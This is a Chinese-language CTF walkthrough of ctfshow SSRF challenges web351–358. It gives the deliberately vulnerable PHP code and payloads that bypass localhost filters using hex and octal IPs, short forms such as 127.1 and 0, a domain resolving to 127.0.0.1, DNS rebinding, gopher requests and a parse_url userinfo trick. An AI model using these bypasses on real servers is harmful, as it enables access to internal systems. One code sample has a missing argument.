关于SSRF:

SSRF(Server-Side Request Forgery)服务端请求为伪造,SSRF是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。 一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统) SSRF漏洞形成的原因大多是因为服务端提供了从其他服务器应用获取数据的功能且没有对目标地址作过滤和限制。

题目:

web351:

1
2
3
4
5
6
7
8
9
10
11
 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);//不返回header头消息
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
  • curl_init():初始curl会话
  • curl_setopt():会话设置
  • curl_exec():执行curl会话,获取内容
  • curl_close():会话关闭通过gopher协议,将请求体用url编码后加上任意字符,一般是下划线,接上gopher的url即可执行GET、POST请求
    1
    gopher://ip:port/_[stream]

payload:

1
POST:url=http://127.0.0.1/flag.php

web352:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){ //过滤了localhost和127.0.0.1
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

payload:

1
2
3
4
5
6
POST:
url=http://127.0.1/flag.php
url=http://127.1/flag.php
url=http://0x7F.0x00.0x00.0x01/flag.php //ip地址全部转为16进制
url=http://0x7F.0.0.1/flag.php //也可以只转第一个
url=http://0177.0.0.1/flag.php //八进制

web353:

分开过滤了.0、127等。但可以直接进制转换。

payload:

1
2
3
POST:
url=http://127.1/flag.php
url=http://0x7F.0x00.0x00.0x01/flag.php

web354:

过滤了1和0

payload:

1
url=http://sudo.cc/flag.php //sudo.cc的A记录为127.0.0.1

web355:

要求域名长度小于等于5.

payload:

1
2
url=http://127.1/flag.php
url=http://0/flag.php //0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0

web356:

要求域名长度小于等于3.

payload:

1
url=http://0/flag.php

web357:

  • 关于DNS重绑定(rebinding):在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。而对于域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的。这就造成了DNS Rebinding攻击。

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?>

其中FILTER_VALIDATE_IP为一个过滤器,这里过滤了私有IP(192.168.x.x)。

这里使用这个网站https://lock.cmpxchg8b.com/rebinder.html实现dns重绑定,将127.0.0.1绑定在过滤范围外的ip,并使用生成的域名作为payload。

payload:

1
url=http://xxxx/flag.php   //xxxx为网站生成的特殊域名。

还可以使用302跳转,这也是一种暂时的重绑定策略。

web358:

源码要求以http://ctf开头,show结尾。

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}

关于parse_url

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$url = 'http://ctf.@127.0.0.1/flag.php?show';
$x = parse_url($url);
var_dump($x);
?>

//运行结果:
array(5) {
["scheme"]=>
string(4) "http"
["host"]=>
string(9) "127.0.0.1"
["user"]=>
string(4) "ctf."
["path"]=>
string(9) "/flag.php"
["query"]=>
string(4) "show"
}

payload:

1
POST:http://ctf.@127.0.0.1/flag.php?show